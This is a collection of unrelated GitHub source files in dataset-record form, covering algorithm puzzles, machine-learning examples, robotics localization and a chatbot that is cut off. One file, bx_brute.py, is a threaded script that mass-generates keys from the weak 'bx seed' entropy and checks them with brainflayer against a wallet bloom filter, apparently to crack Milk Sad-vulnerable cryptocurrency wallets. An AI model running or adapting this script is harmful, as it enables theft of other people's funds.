info)\n","repo_name":"Ibercivis/EU-CS_platform","sub_path":"src/digest/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"69"} +{"seq_id":"5995107951","text":"# \nT = int(input())\nfor test_case in range(1, T + 1):\n n, m = map(int, input().split())\n # 마지막자리 부터 n개 모두가 1인지 판단\n # 일단 m을 이진수로 만들어야ㅐ\n result = []\n while True :\n result.append(m%2)\n m = m//2\n if m == 0:\n break\n if 0 in result[:n] or len(result) < n:\n ans = 'OFF'\n else:\n ans ='ON'\n print(f\"#{test_case} {ans}\")","repo_name":"Lee9Bin/python_algorism","sub_path":"algorism/swea/10726.py","file_name":"10726.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"1037524026","text":"# coding=utf-8\nimport json\nfrom datetime import datetime, timedelta\n\nimport requests\nfrom ics import Calendar, DisplayAlarm, Event\n\n\ndef main():\n url = \"https://www.jisilu.cn/data/calendar/get_calendar_data/?qtype=CNV\"\n print(url)\n try:\n header = {\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36\"\n }\n response = requests.get(url, headers=header)\n status_code = response.status_code\n print(\"状态码:\", status_code)\n response.encoding = response.apparent_encoding\n json_data = json.loads(response.text)\n \n except Exception as err:\n print(err)\n\n bond_subscribe_data = []\n for data in json_data:\n dict = {}\n try:\n dict['id'] = data['id']\n dict['code'] = data['code']\n dict['title'] = data['title']\n dict['start'] = data['start']\n dict['description'] = data['description']\n dict['url'] = data['url']\n dict['color'] = data['color']\n bond_subscribe_data.append(dict)\n except Exception as err:\n print(err)\n\n start_bonds_data = [] #待申购的可转债\n list_bonds_data = [] # 待上市的可转债 \n for dict in bond_subscribe_data:\n if \"申购日\" in dict['title']:\n start_bonds_data.append(dict)\n if \"上市日\" in dict['title']:\n list_bonds_data.append(dict)\n\n print('整理筛选后的申购数据:\\n')\n c = Calendar()\n for d in list_bonds_data:\n listdate = d['start'] #2022-04-25\n le = Event()\n le.name = d['title']\n ldate = listdate + \" 00:00:00\" #'2022-04-25 00:00:00' 8:00\n le.begin = ldate.replace(\"00:00:00\", \"01:30:00\") # 9:30\n le.end = ldate.replace(\"00:00:00\", \"03:30:00\") # 9:30\n le.alarms.append(DisplayAlarm(trigger=timedelta(minutes=-5), display_text=le.name))\n le.alarms.append(DisplayAlarm(trigger=timedelta(seconds=-10), display_text=le.name))\n le.description = 'http://jisilu.cn/data/convert_bond_detail/%s' % (d['code'])\n c.events.add(le)\n\n for d in start_bonds_data:\n startdate = d['start']\n se = Event()\n se.name = d['title']\n sdate = startdate + \" 00:00:00\" #'2022-04-25 00:00:00' 8:00\n se.begin = sdate.replace(\"00:00:00\", \"01:30:00\") # 9:30\n se.end = sdate.replace(\"00:00:00\", \"03:30:00\") # 11:30\n se.alarms.append(DisplayAlarm(trigger=timedelta(minutes=150), display_text=se.name))# 12:00\n se.description = 'http://jisilu.cn/data/convert_bond_detail/%s' % (d['code'])\n c.events.add(se)\n \n with open('kzz.ics', 'w') as my_file:\n my_file.writelines(c)\n print('写入 kzz.ics:\\n')\n \nif __name__ == '__main__':\n main()\n","repo_name":"yxjxx/bonds_reminder","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"69"} +{"seq_id":"34719635346","text":"import os\r\nfrom itertools import repeat\r\nfrom threading import Thread\r\nfrom threading import Event\r\nimport time\r\n\r\nfrom datetime import datetime\r\ndef log_str(logfile_name, string_to_log):\r\n with open(logfile_name, 'a') as f:\r\n now = datetime.now()\r\n dt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\r\n f.write(dt_string+': '+string_to_log+'\\n')\r\n\r\nlogfile_name = 'LOG_milking.log'\r\n\r\ndef t_job(t_id, T_off_ev):\r\n for _ in repeat(0):\r\n failsafe_file_closing_flag = 1\r\n \r\n log_str(logfile_name, f'{t_id} Initiate priv-key generation \\ verification')\r\n for k in range(0, 100):\r\n for i in range(0, 5_000): \r\n os.system(f\"./bx-linux-x64-qrcode_3_2 seed | ./bx-linux-x64-qrcode_3_2 ec-new >> privkeys_{t_id}.txt\")\r\n \r\n with open('failsafe_MILK.txt', 'r') as f:\r\n failsafe_file_closing_flag = int(next(f))\r\n if failsafe_file_closing_flag:\r\n log_str(logfile_name, f'{t_id} Finishing by failsafe')\r\n break\r\n\r\n if T_off_ev.is_set():\r\n log_str(logfile_name, f'{t_id} Finishing by event')\r\n break\r\n \r\n os.system(f\"./brainflayer/brainflayer -v -b ./040823BF.blf -i privkeys_{t_id}.txt -t priv -x\")\r\n os.system(f\"rm privkeys_{t_id}.txt\")\r\n log_str(logfile_name, f'{t_id} ........ priv-key generation \\ verification... DONE') \r\n \r\n if T_off_ev.is_set() or failsafe_file_closing_flag:\r\n break\r\n \r\nt_num = 4\r\n\r\nt = [0] * t_num\r\nT_off_ev = Event()\r\nT_off_ev.clear()\r\nwith open('failsafe_MILK.txt', 'w') as f:\r\n f.write('%d' % 0)\r\n \r\nfor i in range(t_num):\r\n t[i] = Thread(target = t_job, args=(i, T_off_ev ))\r\n t[i].start()\r\n time.sleep(10)\r\n \r\ncmd = ''\r\nwhile cmd != 'exit':\r\n cmd = input(\"Enter exit to finish...\")\r\n\r\nprint('Main stopping threads')\r\nT_off_ev.set()\r\n\r\nfor i in range(t_num):\r\n t[i].join()\r\n","repo_name":"HomelessPhD/MilkSad_dummy","sub_path":"MilkSad_fun/bx_brute.py","file_name":"bx_brute.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"6112273590","text":"n = int(input())\nsequense = list(map(int, input().split()))\n\ndp_inc = [1] * n # dp_inc[i] = 0~i번까지 i번 요소를 포함한 증가하는 부분 수열\ndp_dec = [1] * n # dp_dec[i] = i~n-1번까지 i번 요소를 포함한 감소하는 부분 수열\n\nfor i in range(0, n):\n for j in range(0, i):\n if sequense[i] > sequense[j]:\n dp_inc[i] = max(dp_inc[i], dp_inc[j]+1)\n\nfor i in range(n-1, -1, -1):\n for j in range(n-1, i, -1):\n if sequense[i] > sequense[j]:\n dp_dec[i] = max(dp_dec[i], dp_dec[j]+1)\n\nans = 0\nfor lis, lds in zip(dp_inc, dp_dec):\n ans = max(ans, lis + lds)\n\nprint(ans-1)","repo_name":"eello/solve-algorithm","sub_path":"baekjoon/다이나믹_프로그래밍/11054-가장_긴_바이토닉_부분_수열_v1.py","file_name":"11054-가장_긴_바이토닉_부분_수열_v1.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31464348058","text":"from pip import List\n\n\nclass Solution:\n def exist(self, board: List[List[str]], word: str) -> bool:\n wordlen = len(word)\n rowBoard, colBoard = len(board), len(board[0])\n path = set()\n \n def dfs(r, c, i):\n if i == wordlen:\n return True\n \n if( r<0 or c< 0 or \n r >= rowBoard or c>=colBoard \n or word[i] != board[r][c] or\n (r,c) in path):\n return False\n\n path.add((r,c))\n res = (dfs(r+1,c,i+1) or\n dfs(r-1,c,i+1) or\n dfs(r,c+1,i+1) or\n dfs(r,c-1,i+1))\n \n path.remove((r, c))\n return res\n \n for r in range(rowBoard):\n for c in range(colBoard):\n if dfs(r, c, 0): return True\n \n return False\n\nres = Solution()\nboard = [[\"A\",\"B\",\"C\",\"E\"],[\"S\",\"F\",\"C\",\"S\"],[\"A\",\"D\",\"E\",\"E\"]]\nword = \"ABCCED\"\nres.exist(board, word)","repo_name":"Tohbey/leetCode","sub_path":"medium/word_search.py","file_name":"word_search.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9439405523","text":"'''\n* @Author: Namratha N Shetty\n* @Date: 2021-09-19 17:20\n* @Last Modified by: Namratha N Shetty\n* @Last Modified time: 2021-09-19 17:30\n* @Title: Program to split a list based on first character of word.\n'''\n\nfrom Loggers import logger\nimport itertools\n\ndef remove():\n '''\n Description:\n Removes duplicates from list of list\n '''\n\n try:\n \n num = [[10, 20], [40], [30, 56, 25], [10, 20], [33], [40]]\n logger.info(\"Original list\")\n logger.info(num)\n \n num.sort()\n \n new_num = list(num for num,_ in itertools.groupby(num))\n logger.info(\"New list\")\n logger.info(new_num)\n\n except Exception:\n logger.error(\"Invalid Input\")\n\nif __name__ == \"__main__\":\n remove()\n","repo_name":"NamrathaNShetty/Basic-Python-Programs","sub_path":"Data Structures/List/RemoveDuplicatesListOfList.py","file_name":"RemoveDuplicatesListOfList.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"28644203170","text":"import random\nfrom math import atan2\nfrom helper import *\n\n\n# Get truth odometry from prev_state to next_state\ndef ground_truth_odo(prev_state, next_state):\n delta_x = next_state[0] - prev_state[0]\n delta_y = next_state[1] - prev_state[1]\n delta_rot1 = atan2(delta_y, delta_x) - prev_state[2]\n delta_trans = math.sqrt(delta_x**2+delta_y**2)\n delta_rot2 = next_state[2] - prev_state[2] - delta_rot1\n\n return (delta_rot1, delta_trans, delta_rot2)\n\n\n# Generate normal sampling odometry from original odometry\ndef normal_sample_odo(truth_odo, sigma_rot1=0.05, sigma_rot2=0.05, sigma_trans=0.1):\n delta_prime_rot1 = np.random.normal(truth_odo[0], sigma_rot1)\n delta_prime_trans = np.random.normal(truth_odo[1], sigma_trans)\n delta_prime_rot2 = np.random.normal(truth_odo[2], sigma_rot2)\n\n return (delta_prime_rot1, delta_prime_trans, delta_prime_rot2)\n\n\n# Get truth bearing observation with landmark\ndef bearing_observation(landmarks, robot_state):\n theta = robot_state[2]%(2*math.pi)\n\n obs = []\n for l in landmarks:\n delta_x = l[0] - robot_state[0]\n delta_y = l[1] - robot_state[1]\n n_theta = atan2(delta_y, delta_x) - theta\n n_theta = normal_radian(n_theta)\n obs.append(n_theta)\n\n return obs\n\n\n# Generate observing sampling bearing observation from truth observation\ndef normal_sample_bearing(bearing_obs, sigma_land=math.pi/60):\n noraml_bs = []\n for b in bearing_obs:\n noraml_bs.append(normal_radian(np.random.normal(b, sigma_land)))\n\n return noraml_bs\n\n\n# Generating a measurement file with error\ndef generate_result_file(states, K, landmarks, file_name):\n count = 0\n with open(file_name, 'w') as f:\n start_state = states[0]\n f.write(\"{} {} {}\\n\".format(start_state[0], start_state[1], start_state[2]))\n f.write(\"{}\\n\".format(K))\n afterward_states = states[1:]\n for i in range(len(afterward_states)):\n count += 1\n odo = ground_truth_odo(start_state, afterward_states[i])\n normal_odo = normal_sample_odo(odo)\n f.write(\"{} {} {}\\n\".format(normal_odo[0], normal_odo[1], normal_odo[2]))\n bears = bearing_observation(landmarks, afterward_states[i])\n normal_bears = normal_sample_bearing(bears)\n for b in normal_bears:\n f.write(\"{} \".format(b))\n f.write(\"\\n\")\n\n\n# SIR Particle Filter\ndef particle_filter(S_prev, U_curr, Z_curr, landmarks, K):\n # Propagate particles by normal distributed sampling noisy odometry on time = 1\n S_1 = []\n for s in S_prev:\n new_state = sample_motion_model(U_curr, s)\n S_1.append(((new_state), s[1]))\n\n\n # Update weights by observation\n S_1_prime = []\n for s in S_1:\n w = s[1]\n w_sum = 0\n for idx, l in enumerate(landmarks):\n d_x = l[0] - s[0][0]\n d_y = l[1] - s[0][1]\n b_bar = normal_radian(math.atan2(d_y, d_x) - s[0][2])\n w *= normal_pdf(b_bar, math.pi / 60, Z_curr[idx]) + 1.e-300\n\n S_1_prime.append((s[0], w))\n\n\n # Resampling from weighted particles\n ws = []\n S_1_rtn = []\n for i in S_1_prime:\n ws.append(i[1])\n\n for idx, s in enumerate(S_1_prime):\n if sum(ws) == 0:\n # Since choices from random library doesn't take sum of weight equal to 0, I use this filter out those.\n continue\n else:\n x = np.random.normal((random.choices(S_1_prime, weights=ws)[0][0][0]), 2)\n y = np.random.normal((random.choices(S_1_prime, weights=ws)[0][0][1]), 2)\n r = np.random.normal((random.choices(S_1_prime, weights=ws)[0][0][2]), math.pi / 60)\n wt = random.choices(S_1_prime, weights=ws)[0][1]\n\n S_1_rtn.append(((x,y,r),wt))\n\n return S_1_rtn\n\n\n# Calculate distributed robot motion.\ndef sample_motion_model(noisy_odo, state_s, sigma_rot1=0.05, sigma_rot2=0.05, sigma_trans=0.1):\n d_rot1 = random.gauss(noisy_odo[0], sigma_rot1)\n d_tran = random.gauss(noisy_odo[1], sigma_trans)\n d_rot2 = random.gauss(noisy_odo[2], sigma_rot2)\n guess_odo = (d_rot1, d_tran, d_rot2)\n\n new_x = state_s[0][0] + guess_odo[1] * math.cos(state_s[0][2] + guess_odo[0])\n new_y = state_s[0][1] + guess_odo[1] * math.sin(state_s[0][2] + guess_odo[0])\n new_r = state_s[0][2] + guess_odo[0] + guess_odo[2]\n\n return (new_x, new_y, new_r)","repo_name":"ax-jour/CS560_Project_3","sub_path":"localization.py","file_name":"localization.py","file_ext":"py","file_size_in_byte":4394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"70812416539","text":"\"\"\"Advent of Code 2019 Day 14 - Space Stoichiometry\"\"\"\n\nfrom collections import defaultdict\nimport math\n\n\ndef create_fuel(reactions, fuel_wanted):\n \"\"\"Create wanted amount of fuel from reactions, return material dict.\"\"\"\n needed = defaultdict(int)\n needed['FUEL'] = fuel_wanted\n queue = ['FUEL']\n while queue:\n target = queue.pop()\n\n for product, reactants in reactions.items():\n if product[1] == target:\n quantity_produced = product[0]\n required = math.ceil(needed[target] / quantity_produced)\n\n for reactant in reactants:\n needed[reactant[1]] += required * reactant[0]\n\n if needed[target] > 0:\n queue.append(reactant[1])\n\n needed[target] -= required * product[0]\n\n return needed\n\n\nwith open('inputs/day_14.txt') as f:\n recipies = [line.strip() for line in f.readlines()]\n\nreactions = {}\nfor recipie in recipies:\n reactants, product = [material.strip() for material in recipie.split('=>')]\n product = product.split()\n product = (int(product[0]), product[1])\n\n reactants_list = []\n reactants = reactants.split(', ')\n for reactant in reactants:\n amount, material = reactant.split(' ')\n reactants_list.append((int(amount), material))\n\n reactions[product] = reactants_list\n\n# Answer One\nore_needed = create_fuel(reactions, 1)['ORE']\nprint(\"Minimum amount of ore:\", ore_needed)\n\n# Binary search for maxiumum fuel amount\ntrillion_ore = 10 ** 12\nlow = trillion_ore // ore_needed\nhigh = trillion_ore - 1\nwhile low <= high:\n mid = (low + high) // 2\n if low == mid:\n break\n\n ore_needed = create_fuel(reactions, mid)['ORE']\n if ore_needed < trillion_ore:\n low = mid + 1\n else:\n high = mid - 1\n\n# Answer Two\nprint(\"Most fuel that can be made from 1 trillion ore:\", low)\n","repo_name":"IanFindlay/advent-of-code","sub_path":"2019/day_14.py","file_name":"day_14.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"69"} +{"seq_id":"11485777236","text":"dx = (-1, 1, 0, 0)\ndy = (0, 0, -1, 1)\ndirection = {\n \"N\": 0,\n \"S\": 1,\n \"W\": 2,\n \"E\": 3,\n}\n\ndef solution(park, routes):\n for i in range(len(park)):\n for j in range(len(park[i])):\n if park[i][j] == \"S\":\n cur = [i, j]\n break\n \n MAX_X, MAX_Y = len(park)-1, len(park[0])-1\n\n for route in routes:\n op, n = route.split()\n n = int(n)\n\n # 주어진 방향으로 이동할 때 공원을 벗어나는 경우,\n if not 0 <= cur[0] + n*dx[direction[op]] <= MAX_X or not 0 <= cur[1] + n*dy[direction[op]] <= MAX_Y:\n continue\n\n stop = False\n \n # 주어진 방향으로 이동 중 장애물을 만나는 경우,\n for i in range(1, n+1):\n \n new_x = cur[0] + i*dx[direction[op]]\n new_y = cur[1] + i*dy[direction[op]]\n\n if park[new_x][new_y] == \"X\":\n stop = True\n break\n \n if not stop:\n cur = [new_x, new_y]\n\n return cur\n\n\nprint(solution([\"SOO\", \"OOO\", \"OOO\"], [\"E 2\", \"S 2\", \"W 1\"]))\nprint(solution(\t[\"SOO\", \"OXX\", \"OOO\"], [\"E 2\", \"S 2\", \"W 1\"]))\nprint(solution(\t[\"OSO\", \"OOO\", \"OXO\", \"OOO\"], [\"E 2\", \"S 3\", \"W 1\"]))","repo_name":"ParkHoH/algorithm_test","sub_path":"programmers/LV_1/공원 산책.py","file_name":"공원 산책.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"2669684151","text":"from guacamol_baselines.smiles_ga.goal_directed_generation import ChemGEGenerator\n\n\nclass SMILESGA:\n def __init__(\n self,\n smi_file,\n population_size: int,\n n_mutations: int,\n n_jobs: int,\n random_start: bool,\n gene_size: int,\n generations: int,\n patience: int,\n ):\n \"\"\"Initialize SMILESGA.\n\n Args:\n smi_file: path where to load hypothesis, candidate labels and, optionally, the smiles file.\n population_size: used with n_mutations for the initial generation of smiles within the population.\n n_mutations: used with population size for the initial generation of smiles within the population.\n n_jobs: number of concurrently running jobs.\n random_start: set to True to randomly choose list of SMILES for generating optimizied molecules.\n gene_size: size of the gene which is used in creation of genes.\n generations: number of evolutionary generations.\n patience: used for early stopping if population scores remains the same after generating molecules.\n \"\"\"\n self.smi_file = smi_file\n self.population_size = population_size\n self.n_mutations = n_mutations\n self.n_jobs = n_jobs\n self.random_start = random_start\n self.gene_size = gene_size\n self.generations = generations\n self.patience = patience\n\n def get_generator(self) -> ChemGEGenerator:\n \"\"\"Create an instance of ChemGEGenerator.\n\n Returns:\n an instance of ChemGEGenerator.\n \"\"\"\n optimiser = ChemGEGenerator(\n smi_file=self.smi_file,\n population_size=self.population_size,\n n_mutations=self.n_mutations,\n generations=self.generations,\n n_jobs=self.n_jobs,\n random_start=self.random_start,\n gene_size=self.gene_size,\n patience=self.patience,\n )\n return optimiser\n","repo_name":"GT4SD/gt4sd-core","sub_path":"src/gt4sd/algorithms/conditional_generation/guacamol/implementation/smiles_ga.py","file_name":"smiles_ga.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","stars":277,"dataset":"github-code","pt":"69"} +{"seq_id":"36446553483","text":"import polars as pl\n\nfrom lakefs_spec import LakeFSFileSystem\n\nfs = LakeFSFileSystem()\n\nwith fs.transaction as tx:\n tx.create_branch(\"quickstart\", \"us-lakes\", \"main\")\n\n lakes = pl.read_parquet(\"lakefs://quickstart/main/lakes.parquet\")\n us_lakes = lakes.filter(pl.col(\"Country\") == \"United States of America\")\n\n with fs.open(\"lakefs://quickstart/us-lakes/us_lakes.csv\", \"wb\") as f:\n us_lakes.write_csv(f)\n\n tx.commit(\"quickstart\", \"us-lakes\", \"Add US lakes\")\n","repo_name":"aai-institute/lakefs-spec","sub_path":"docs/_code/polars_example.py","file_name":"polars_example.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"69"} +{"seq_id":"15950338009","text":"\"\"\"\nNow in this script we train our W_GAM network on MINST dataset with Discriminator and Generator imported from W_gans.py\n\"\"\"\n\n########################################### FOR W-GAN GP Training ###########################################\n# LEARNING_RATE will update to 1e-4\n# Change Discriminator/Critic Normalization part from BatchNorm2d to InstanceNorm2d or LayerNorm\n# Remove WEIGHT_CLIP \n# import gradient_penalty from W_gans_gradient_penalty\n# Add LAMBDA_GP = 10\n# Change optimizer to Adam line 61 and 62\n# Add gradient penalty in line 88\n# Gradient penalty loss is added in line 93\n#############################################################################################################\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torchvision\nimport torchvision.datasets as datasets\nimport torchvision.transforms as transforms\nfrom torch.utils.data import DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\n# We are importing both the models and the weight initialization \nfrom W_gans import Critic, Generator, initialize_weights\nfrom W_gans_gradient_penalty import gradient_penalty\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nLEARNING_RATE = 5e-5 # learning rate is different in W-gans\nBATCH_SIZE = 64\nIMAGE_SIZE = 64\nCHANNELS_IMG = 1\nZ_DIM = 100\nNUM_EPOCHS = 5\nFEATURES_DISC = 64\nFEATURES_GEN = 64\n# The called discriminator \"critic\" in paper\nCRITIC_ITERATION = 5\nWEIGHT_CLIP = 0.01\n\n# In PyTorch, transforms.Compose is a class that allows you to chain together multiple image transformations to be applied sequentially to a dataset\ntransforms = transforms.Compose(\n [\n transforms.Resize(IMAGE_SIZE),\n transforms.ToTensor(),\n # Normalize images with 0.5 mean and 0.5 standard daviation\n transforms.Normalize([0.5 for _ in range(CHANNELS_IMG)], [0.5 for _ in range(CHANNELS_IMG)])\n ]\n)\n\n# Now we load the data\ndataset = datasets.MNIST(root='/dataset', train=True, transform=transforms, download=True)\nloader = DataLoader(dataset, batch_size=BATCH_SIZE, shuffle=True)\n\n# Initializing the Models\ngen = Generator(Z_DIM, CHANNELS_IMG, FEATURES_GEN).to(device)\ncritic = Critic(CHANNELS_IMG, FEATURES_DISC).to(device)\ninitialize_weights(gen)\ninitialize_weights(critic)\n\n# Optimizer is different here for W-GAN\nopt_gen = optim.RMSprop(gen.parameters(), lr=LEARNING_RATE)\nopt_critic = optim.RMSprop(critic.parameters(), lr=LEARNING_RATE)\n\n# We create noise of 32x100x1x1 for testing purpose\nfixed_noise = torch.randn(32, Z_DIM, 1, 1).to(device)\nprint(fixed_noise.shape)\n\n# This is for tensorboard\nwrite_real = SummaryWriter(f\"logs/real\")\nwrite_fake = SummaryWriter(f\"logs/fake\")\nstep = 0\n\n# Set both of the network in the training mode\ngen.train()\ncritic.train()\n\n# In out training Discriminator/Critic will train more. So in training loop we increase number of train times of Discriminator/Critic\n# Loss function is not simply binary cross entropy here. It's different. We want to maximize the loss here for better work for Discriminator/Critic\nfor epoch in range(NUM_EPOCHS):\n for batch_idx, (real_img, _) in enumerate(loader):\n real_img = real_img.to(device)\n for _ in range(CRITIC_ITERATION):\n noise = torch.randn(BATCH_SIZE, Z_DIM, 1, 1).to(device)\n fake_image = gen(noise)\n critic_real = critic(real_img).reshape(-1)\n critic_fake = critic(fake_image).reshape(-1)\n #############################################################################################\n \n # Gradient penalty is adding for W-Gan GP\n ### gp = gradient_penalty(critic, real_img, fake, device=device)\n # We want to maximize this loss. So we negate it for maximization \n # The distance between original and fake is always high. That's the idea here\n # For W-GAN GP we add gradient penalty in loss\n ### loss_critic = -((torch.mean(critic_real) - torch.mean(critic_fake)) + LAMBDA_GP * gp)\n\n #############################################################################################\n loss_critic = -(torch.mean(critic_real) - torch.mean(critic_fake))\n critic.zero_grad()\n loss_critic.backward(retain_graph=True)\n opt_critic.step()\n \n # One thing we need to apply is clip the parameters\n # Basically cliping/converting the parameters in range of -0.01 to 0.01(Vales from paper)\n for p in critic.parameters():\n # clamp convert the values in some range \n p.data.clamp(-WEIGHT_CLIP, WEIGHT_CLIP)\n\n ################################################\n # Now train the Generator\n # Train generator: minimize the distance: min -E[critic(gen_fake)]\n output = critic(fake_image).reshape(-1)\n # Now loss calculation\n loss_gen = -torch.mean(output)\n gen.zero_grad()\n loss_gen.backward(retain_graph=True)\n opt_gen.step()\n\n # Print losses occationally and print to tensorboard\n # Here main part is we print it to tensorboard to show the output\n # This loss here is called non-saturated heuristic \n if batch_idx % 100 == 0:\n print(f\"EPOCH[{epoch/NUM_EPOCHS}] Batch: {batch_idx}/{len(loader)} Loss D: {loss_critic}, Loss G: {loss_gen}\")\n # We disabling the gradient to test our result\n # No gradient will calculated here\n with torch.no_grad():\n fake = gen(fixed_noise)\n # We took 32 examples\n # Original images grid\n img_grid_real = torchvision.utils.make_grid(real_img[:32], normalize=True)\n # Fake images grid\n img_grid_fake = torchvision.utils.make_grid(fake[:32], normalize=True)\n write_real.add_image(\"Real\", img_grid_real, global_step=step)\n write_fake.add_image(\"Fake\", img_grid_fake, global_step=step)\n\n# You can see the output images in Tensor Board","repo_name":"ArkadeepDas/GAN","sub_path":"W_gans_training.py","file_name":"W_gans_training.py","file_ext":"py","file_size_in_byte":6051,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"7446618497","text":"\"\"\"A very simple LSTM example.\nPredict the positive integers.\n\"\"\"\nimport urllib, urllib.request\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nimport time\nimport tensorflow as tf\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Activation\nfrom keras.layers.recurrent import LSTM\nfrom keras.backend.tensorflow_backend import set_session\nfrom sklearn import preprocessing\nfrom sklearn.metrics import mean_squared_error\n\nconfig = tf.ConfigProto(\n gpu_options=tf.GPUOptions(\n per_process_gpu_memory_fraction=0.45\n ),\n device_count = {\n 'GPU': 0\n }\n)\nset_session(tf.Session(config=config))\n\n\nclass PredictionLSTM :\n\n def __init__(self):\n self.look_back = 1\n self.units = 128\n self.epochs = 10\n self.batch_size = 1\n\n\n def create_dataset(self, dataset, look_back=1):\n x, y = [], []\n for i in range(len(dataset) - look_back):\n a = i + look_back\n x.append(dataset[i:a, 0])\n y.append(dataset[a, 0])\n\n return np.array(x), np.array(y)\n\n\n def create_model(self):\n model = Sequential()\n model.add(LSTM(self.units, input_shape=(1, self.look_back)))\n model.add(Dense(1))\n model.add(Activation('linear'))\n model.compile(loss='mean_squared_error', optimizer='adam')\n\n return model\n\n\n def train(self, x, y):\n model = self.create_model()\n model.fit(x, y, batch_size=self.batch_size, epochs=self.epochs, verbose=1)\n\n return model\n\n\nif __name__ == \"__main__\":\n START_TIME = time.time()\n SERIES_LENGTH = 1000\n\n # Prepare dataset\n dataset = np.arange(1, SERIES_LENGTH+1, 1).reshape(SERIES_LENGTH, 1).astype(np.float)\n\n # Transform\n scaler = preprocessing.MinMaxScaler()\n dataset = scaler.fit_transform(dataset)\n\n # Split dataset into train and test subsets\n train_dataset = dataset[0:int(len(dataset)*0.8), :]\n test_dataset = dataset[len(train_dataset):len(dataset), :]\n\n\n\n # LSTM\n prediction_ltsm = PredictionLSTM()\n\n # Create train dataset\n train_x, train_y = prediction_ltsm.create_dataset(train_dataset, prediction_ltsm.look_back)\n\n train_x = np.reshape(train_x, (train_x.shape[0], 1, train_x.shape[1]))\n # Create test dataset\n test_x, test_y = prediction_ltsm.create_dataset(test_dataset, prediction_ltsm.look_back)\n test_x = np.reshape(test_x, (test_x.shape[0], 1, test_x.shape[1]))\n\n\n # Create and fit the LSTM network\n model = prediction_ltsm.train(train_x, train_y)\n print(model.summary())\n\n\n # Predict train dataset\n train_prediction = model.predict(train_x)\n train_prediction = scaler.inverse_transform(train_prediction)\n train_y = scaler.inverse_transform([train_y])\n\n # Predict test dataset\n test_prediction = model.predict(test_x)\n test_prediction = scaler.inverse_transform(test_prediction)\n test_y = scaler.inverse_transform([test_y])\n\n\n # Calculate RMSE(Root Mean Squared Error)\n train_score = math.sqrt(mean_squared_error(train_y[0], train_prediction[:, 0]))\n test_score = math.sqrt(mean_squared_error(test_y[0], test_prediction[:, 0]))\n print(\"\\nTrain Score: {0:.3f} RMSE\".format(train_score))\n print(\"Test Score: {0:.3f} RMSE\".format(test_score))\n\n\n # Predict the next value using the latest data\n latest_x = np.array([test_dataset[-prediction_ltsm.look_back:]])\n latest_x = np.reshape(latest_x, (latest_x.shape[0], 1, latest_x.shape[1]))\n next_prediction = model.predict(latest_x)\n next_prediction = scaler.inverse_transform(next_prediction)\n print(\"\\nNext prediction: {0:.2f}\".format(list(next_prediction)[0][0]), \"\\n\"*2)\n\n print(\"Time: {0:.1f}sec\".format(time.time() - START_TIME))\n\n\n # Draw a figure\n placeholder = np.append(dataset, np.zeros((1, dataset.shape[1])), axis=0)\n placeholder[:, :] = np.nan\n\n correct_dataset_plt = scaler.inverse_transform(dataset)\n\n train_plt = np.copy(placeholder)\n train_plt[prediction_ltsm.look_back:len(train_prediction)+prediction_ltsm.look_back, :] = train_prediction\n\n test_plt = np.copy(placeholder)\n test_plt[len(train_prediction)+(prediction_ltsm.look_back*2):len(dataset), :] = test_prediction\n\n nest_plt = np.copy(placeholder)\n nest_plt[len(placeholder)-2:len(placeholder), :] = np.append(test_prediction[-1], next_prediction.reshape(1)).reshape(2, 1)\n\n plt.plot(correct_dataset_plt, label='Correct prediction')\n plt.plot(train_plt, label='Train')\n plt.plot(test_plt, label='Test')\n plt.plot(nest_plt, label='Next prediction', c='r')\n plt.legend() \n plt.show()\n ","repo_name":"suprsonicjetboy/keras-examples","sub_path":"lstm/lstm_ap.py","file_name":"lstm_ap.py","file_ext":"py","file_size_in_byte":4604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"19419023017","text":"from flask import Flask, render_template, request\nfrom py2neo import Graph\nfrom datetime import date\nimport json\nimport pyaiml21\nimport nltk\nfrom nltk.tokenize import word_tokenize\nfrom glob import glob\nfrom pyaiml21 import Kernel\nfrom textblob import TextBlob\nimport socket\nimport openai\nimport requests\nimport spacy\nfrom bs4 import BeautifulSoup\n\nnlp = spacy.load(\"en_core_web_sm\")\n\napp = Flask(__name__)\ngraph = Graph(password=\"12345678\")\nhostname = socket.gethostname()\nip_address = socket.gethostbyname(hostname)\n\nprint(ip_address)\nquestion_words = [\"what\", \"why\", \"when\", \"where\",\n \"name\", \"is\", \"how\", \"do\", \"does\",\n \"which\", \"are\", \"could\", \"would\",\n 